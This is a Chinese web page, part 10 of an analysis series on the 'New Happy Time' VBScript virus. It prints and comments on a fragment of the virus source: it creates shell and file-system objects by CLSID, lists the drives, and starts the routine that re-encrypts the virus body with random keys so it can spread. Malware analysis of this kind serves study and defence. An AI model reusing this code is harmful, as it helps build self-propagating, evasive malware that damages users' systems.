新欢乐时光代码分析(10)


        AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}")
        AppleObject.createInstance()
        Set WsShell = AppleObject.GetObject()
        AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}")
        AppleObject.createInstance()
        Set FSO = AppleObject.GetObject()
    End If
    Set DiskObject = FSO.Drives
    ' 判断磁盘类型
    '
    ' 0: Unknown
    ' 1: Removable
    ' 2: Fixed
    ' 3: Network
    ' 4: CD-ROM
    ' 5: RAM Disk
    ' 如果不是可移动磁盘或者固定磁盘就跳出循环。可能作者考虑的是网络磁盘、CD-ROM、RAM Disk都是在比较靠后的位置。呵呵,如果C:是RAMDISK会怎么样?
    For Each DiskTemp In DiskObject
        If DiskTemp.DriveType <> 2 And DiskTemp.DriveType <> 1 Then
            Exit For
        End If
        FinalyDisk = DiskTemp.DriveLetter
    Next

    ' 此前的这段病毒体已经解密,并且存放在ThisText中,现在为了传播,需要对它进行再加密。
    ' 加密算法
    Dim OtherArr(3)
    Randomize
    ' 随机生成4个算子
    For i = 0 To 3
        OtherArr(i) = Int((9 * Rnd))
    Next
    TempString = ""
    For i = 1 To Len(ThisText)
        TempNum = Asc(Mid(ThisText, i, 1))
        '对回车、换行(0x0D,0x0A)做特别的处理
        If TempNum = 13 Then
            TempNum = 28
        ElseIf TempNum = 10 Then
            TempNum = 29

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/1492.html